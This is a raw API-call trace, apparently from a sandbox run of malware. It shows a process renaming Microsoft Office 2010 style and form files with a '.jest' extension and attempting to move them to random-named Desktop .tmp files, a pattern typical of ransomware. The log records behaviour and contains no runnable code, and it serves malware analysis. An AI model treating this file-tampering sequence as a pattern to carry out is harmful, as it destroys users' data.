[0162.722] GetLastError () returned 0x0 [0162.722] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.723] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Person.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_person.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Person.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_person.css.jest")) returned 1 [0162.724] GetLastError () returned 0x0 [0162.724] VarBstrFromR4 (in: fltIn=0x47945631, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.38") returned 0x0 [0162.725] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Person.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_person.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-pg-IlIEX8JQzVufHU8 2uEvgjWeVrrvcSAOhcmyFDb076tuZZoATm7m4KTY7QUj-hruQ_TrKqkjTRFzYQ gmQTi-LzEvS_b56b.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-pg-iliex8jqzvufhu8 2uevgjwevrrvcsaohcmyfdb076tuzzoatm7m4kty7quj-hruq_trkqkjtrfzyq gmqti-lzevs_b56b.tmp")) returned 0 [0162.725] GetLastError () returned 0x2 [0162.726] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.726] GetLastError () returned 0x0 [0162.726] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.727] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Response.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_response.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Response.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_response.css.jest")) returned 1 [0162.728] GetLastError () returned 0x0 [0162.728] VarBstrFromR4 (in: fltIn=0x47945631, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.38") returned 0x0 [0162.729] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Response.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_response.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TLVCK7TbQytGhKqmWRiVK8PROBFcYPSRDSU8qB1Ymrt8HtwlFCVRyEccIqJRDcU 4_KZdbYFvYb5ISLKUZ7g1nTZP9D4e2fOIz.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tlvck7tbqytghkqmwrivk8probfcypsrdsu8qb1ymrt8htwlfcvryecciqjrdcu 4_kzdbyfvyb5islkuz7g1ntzp9d4e2foiz.tmp")) returned 0 [0162.729] GetLastError () returned 0x2 [0162.730] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.730] GetLastError () returned 0x0 [0162.730] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.730] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen.css.jest")) returned 1 [0162.731] GetLastError () returned 0x0 [0162.732] VarBstrFromR4 (in: fltIn=0x47945631, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.38") returned 0x0 [0162.734] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\v8SKdhHpTY467IhoFbQCcFl94Wb7N0IG-skXn4GACK_xhvLJs5Ww61ugHN7mCXUaWdIorgt5dSvlhBH3RBSBJ8ZklpamNd96D6oub.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\v8skdhhpty467ihofbqccfl94wb7n0ig-skxn4gack_xhvljs5ww61ughn7mcxuawdiorgt5dsvlhbh3rbsbj8zklpamnd96d6oub.tmp")) returned 0 [0162.734] GetLastError () returned 0x2 [0162.734] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.734] GetLastError () returned 0x0 [0162.734] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.735] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts.css.jest")) returned 1 [0162.737] GetLastError () returned 0x0 [0162.737] VarBstrFromR4 (in: fltIn=0x47945633, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.4") returned 0x0 [0162.738] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wv4xULUqJsU_4sonX0gBba0D4tCpHwaEoKQVUjbD7DNmf-P5Bty8hs9sdpaWIthnUKRiL1jfnHsdg10Yub9SOxt4CoyGOsowxPpVZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wv4xuluqjsu_4sonx0gbba0d4tcphwaeokqvujbd7dnmf-p5bty8hs9sdpawithnukril1jfnhsdg10yub9soxt4coygosowxppvz.tmp")) returned 0 [0162.738] GetLastError () returned 0x2 [0162.738] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.739] GetLastError () returned 0x0 [0162.739] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.740] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts2.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts2.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2.css.jest")) returned 1 [0162.741] GetLastError () returned 0x0 [0162.741] VarBstrFromR4 (in: fltIn=0x47945633, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.4") returned 0x0 [0162.742] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts2.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8LzfzuU3NGHiYTDdlfL4k6uYu7AQUl1GCczPqhweJAIHy1jn09lq2sUrSBhE-S8bEggtEx1DwQ4Ln-IByJdJ7Dg1PZkoy_8IuS_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8lzfzuu3nghiytddlfl4k6uyu7aqul1gcczpqhwejaihy1jn09lq2sursbhe-s8beggtex1dwq4ln-ibyjdj7dg1pzkoy_8ius_.tmp")) returned 0 [0162.742] GetLastError () returned 0x2 [0162.743] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.743] GetLastError () returned 0x0 [0162.743] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.743] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl.css.jest")) returned 1 [0162.744] GetLastError () returned 0x0 [0162.745] VarBstrFromR4 (in: fltIn=0x47945633, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.4") returned 0x0 [0162.746] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0MfhiAcOf 5eeq2DupkBItgw1NBow8e7qejWJoCIe3mpzp19ReK0Y7YU 6C0C_-SWrTEa2vfjrAHbxMuVfOz3uPaEkvmo_ovbH60.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0mfhiacof 5eeq2dupkbitgw1nbow8e7qejwjocie3mpzp19rek0y7yu 6c0c_-swrtea2vfjrahbxmuvfoz3upaekvmo_ovbh60.tmp")) returned 0 [0162.746] GetLastError () returned 0x2 [0162.746] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.747] GetLastError () returned 0x0 [0162.747] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.747] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Teal.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\teal.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Teal.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\teal.css.jest")) returned 1 [0162.768] GetLastError () returned 0x0 [0162.769] VarBstrFromR4 (in: fltIn=0x47945637, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.43") returned 0x0 [0162.792] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Teal.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\teal.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BPmmAojXfwvMrqYsgE1QqQEHFEomXTo4cOo0qH-ZiE5hko9lIVVdRkWgHYFhASH4Bx0MfbypvjB55RQodOgC -QP9CpfOft7RlU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bpmmaojxfwvmrqysge1qqqehfeomxto4coo0qh-zie5hko9livvdrkwghyfhash4bx0mfbypvjb55rqodogc -qp9cpfoft7rlu.tmp")) returned 0 [0162.792] GetLastError () returned 0x2 [0162.793] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.793] GetLastError () returned 0x0 [0162.793] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.796] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\TexturedBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\texturedblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\TexturedBlue.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\texturedblue.css.jest")) returned 1 [0162.797] GetLastError () returned 0x0 [0162.798] VarBstrFromR4 (in: fltIn=0x4794563b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.46") returned 0x0 [0162.800] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\TexturedBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\texturedblue.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yZWfSd7e29WODeF5s-eA2lCKEB 8iz1b6GTqNiRrlblXlGSJwoH8 XqJNMzgIZcNvyMXG7uZALENZ7snzDpe_ck-C8924quzHV4l.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yzwfsd7e29wodef5s-ea2lckeb 8iz1b6gtqnirrlblxlgsjwoh8 xqjnmzgizcnvymxg7uzalenz7snzdpe_ck-c8924quzhv4l.tmp")) returned 0 [0162.802] GetLastError () returned 0x2 [0162.802] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.802] GetLastError () returned 0x0 [0162.802] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.804] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\VelvetRose.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\velvetrose.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\VelvetRose.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\velvetrose.css.jest")) returned 1 [0162.805] GetLastError () returned 0x0 [0162.806] VarBstrFromR4 (in: fltIn=0x4794563b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.46") returned 0x0 [0162.807] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\VelvetRose.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\velvetrose.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rz5AokuHqBqPhCvzdFgfJjZXshyokDBZeT-ga9ydjPD0qBP4a8pl1kReo7cAVW1x 25Oo_njVrhBXRw1XMS9iQfH9zZyF5DmkBot.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rz5aokuhqbqphcvzdfgfjjzxshyokdbzet-ga9ydjpd0qbp4a8pl1kreo7cavw1x 25oo_njvrhbxrw1xms9iqfh9zzyf5dmkbot.tmp")) returned 0 [0162.807] GetLastError () returned 0x2 [0162.808] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.808] GetLastError () returned 0x0 [0162.808] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.810] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg.jest")) returned 1 [0162.820] GetLastError () returned 0x0 [0162.821] VarBstrFromR4 (in: fltIn=0x4794563d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.48") returned 0x0 [0162.822] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rILLv8oOwswqZ3pPx7P3OytAuQC-KkBh9jcdzWyVXJKp_joAWPq9ZMtYL3HgH9Mvj-vGpovxm41h2eMXIkdsV7K_ogk7qv0Yc6 Vf.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rillv8oowswqz3ppx7p3oytauqc-kkbh9jcdzwyvxjkp_joawpq9zmtyl3hgh9mvj-vgpovxm41h2emxikdsv7k_ogk7qv0yc6 vf.tmp")) returned 0 [0162.822] GetLastError () returned 0x2 [0162.823] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.823] GetLastError () returned 0x0 [0162.823] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.823] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg.jest")) returned 1 [0162.824] GetLastError () returned 0x0 [0162.825] VarBstrFromR4 (in: fltIn=0x4794563d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.48") returned 0x0 [0162.826] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cvX38Ljy8_rMbqygTfm5 iU8Xjr-DPUPP_V_HgVKd36pwV4boUHFbCBTqVr0ZqBjknHCiMfzrb9f-7kEsObDodG93Hod2er4JZh5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cvx38ljy8_rmbqygtfm5 iu8xjr-dpupp_v_hgvkd36pwv4bouhfbcbtqvr0zqbjknhcimfzrb9f-7kesobdodg93hod2er4jzh5.tmp")) returned 0 [0162.826] GetLastError () returned 0x2 [0162.826] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.827] GetLastError () returned 0x0 [0162.827] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.827] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg.jest")) returned 1 [0162.828] GetLastError () returned 0x0 [0162.828] VarBstrFromR4 (in: fltIn=0x4794563f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.49") returned 0x0 [0162.829] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\do9Fq6OjzMjd6waYk5I0tZSgi8kEsbh6CRACkvgFe iudlRRn9verSfFQxX1CGtd0mE337e2S5c2hzhTVwRUjGSMt_Td-tAK6u .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\do9fq6ojzmjd6wayk5i0tzsgi8kesbh6crackvgfe iudlrrn9versffqxx1cgtd0me337e2s5c2hzhtvwrujgsmt_td-tak6u .tmp")) returned 0 [0162.829] GetLastError () returned 0x2 [0162.830] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.830] GetLastError () returned 0x0 [0162.830] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.830] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg.jest")) returned 1 [0162.831] GetLastError () returned 0x0 [0162.832] VarBstrFromR4 (in: fltIn=0x4794563f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.49") returned 0x0 [0162.832] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M-axcaAAY4qtoCASoNHVggUxzipI813mYcDfip1r0xJDxhIPFGYrCF3yRCa8nUDIjlQb8REzehlpCpyORPlKQQbdIbM1p37gdE YJ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m-axcaaay4qtocasonhvgguxzipi813mycdfip1r0xjdxhipfgyrcf3yrca8nudijlqb8rezehlpcpyorplkqqbdibm1p37gde yj.tmp")) returned 0 [0162.832] GetLastError () returned 0x2 [0162.833] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.833] GetLastError () returned 0x0 [0162.833] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 